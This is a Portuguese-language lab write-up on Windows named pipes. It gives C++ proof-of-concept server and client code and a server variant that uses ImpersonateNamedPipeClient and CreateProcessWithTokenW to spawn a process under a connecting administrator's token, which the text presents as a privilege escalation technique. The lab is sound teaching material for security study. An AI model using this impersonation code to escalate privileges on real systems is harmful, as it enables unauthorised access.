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## Impersonação de Cliente de Pipe Nomeado
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## Visão Geral
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Um `pipe` é um bloco de memória compartilhada que os processos podem usar para comunicação e troca de dados.
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`Named Pipes` é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como `um servidor de pipe nomeado` e um `cliente de pipe nomeado`.
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Um servidor de pipe nomeado pode abrir um pipe nomeado com um nome pré-definido e, em seguida, um cliente de pipe nomeado pode se conectar a esse pipe por meio do nome conhecido. Uma vez estabelecida a conexão, a troca de dados pode começar.
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Este laboratório se preocupa com um código PoC simples que permite:
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* criar um servidor de pipe nomeado burro de thread único que aceitará uma conexão de cliente
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* servidor de pipe nomeado escrever uma mensagem simples no pipe nomeado para que o cliente de pipe possa lê-la
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## Código
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Abaixo está o PoC para o servidor e o cliente:
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{% tabs %}
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{% tab title="namedPipeServer.cpp" %}
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```cpp
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#include "pch.h"
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#include <Windows.h>
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#include <iostream>
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int main() {
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LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
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LPVOID pipeBuffer = NULL;
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HANDLE serverPipe;
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DWORD readBytes = 0;
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DWORD readBuffer = 0;
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int err = 0;
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BOOL isPipeConnected;
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BOOL isPipeOpen;
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wchar_t message[] = L"HELL";
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DWORD messageLenght = lstrlen(message) * 2;
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DWORD bytesWritten = 0;
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std::wcout << "Creating named pipe " << pipeName << std::endl;
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serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
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isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
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if (isPipeConnected) {
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std::wcout << "Incoming connection to " << pipeName << std::endl;
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}
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std::wcout << "Sending message: " << message << std::endl;
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WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
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return 0;
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}
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```
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{% endtab %}
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{% tab title="namedPipeServer.cpp" %}
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```cpp
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#include "pch.h"
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#include <iostream>
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#include <Windows.h>
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const int MESSAGE_SIZE = 512;
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int main()
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{
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LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
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HANDLE clientPipe = NULL;
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BOOL isPipeRead = true;
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wchar_t message[MESSAGE_SIZE] = { 0 };
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DWORD bytesRead = 0;
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std::wcout << "Connecting to " << pipeName << std::endl;
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clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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while (isPipeRead) {
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isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
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std::wcout << "Received message: " << message;
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}
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return 0;
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}
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```
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## Execução
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Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando como esperado:
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![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)
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Vale ressaltar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:
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![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)
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Verificando como o processo mantém um identificador para o nosso pipe nomeado `mantvydas-first-pipe`:
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![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)
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Da mesma forma, podemos ver o cliente tendo um identificador aberto para o pipe nomeado:
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![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)
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Podemos até ver nosso pipe com powershell:
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```csharp
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((Get-ChildItem \\.\pipe\).name)[-1..-5]
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```
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## Impersonação de Token
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{% hint style="info" %}
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Observe que, para impessoanar o token do processo do cliente, você precisa ter (o processo do servidor criando o pipe) o privilégio de token **`SeImpersonate`**
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{% endhint %}
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É possível para o servidor de pipe nomeado impessoanar o contexto de segurança do cliente de pipe nomeado, aproveitando uma chamada de API `ImpersonateNamedPipeClient`, que por sua vez altera o token do thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.
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Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impessoação - observe que as modificações são vistas na linha 25 e abaixo:
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```cpp
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int main() {
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LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
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LPVOID pipeBuffer = NULL;
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HANDLE serverPipe;
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DWORD readBytes = 0;
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DWORD readBuffer = 0;
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int err = 0;
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BOOL isPipeConnected;
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BOOL isPipeOpen;
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wchar_t message[] = L"HELL";
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DWORD messageLenght = lstrlen(message) * 2;
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DWORD bytesWritten = 0;
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std::wcout << "Creating named pipe " << pipeName << std::endl;
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serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
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isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
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if (isPipeConnected) {
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std::wcout << "Incoming connection to " << pipeName << std::endl;
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}
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std::wcout << "Sending message: " << message << std::endl;
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WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
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std::wcout << "Impersonating the client..." << std::endl;
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ImpersonateNamedPipeClient(serverPipe);
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err = GetLastError();
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STARTUPINFO si = {};
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wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
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PROCESS_INFORMATION pi = {};
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HANDLE threadToken = GetCurrentThreadToken();
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CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
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return 0;
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}
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```
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Executando o servidor e conectando-se a ele com o cliente que está sendo executado sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do pipe do servidor nomeado assumiu o token do cliente do pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja sendo executado sob o contexto de segurança ws01\mantvydas. Parece ser uma boa maneira de escalar privilégios?
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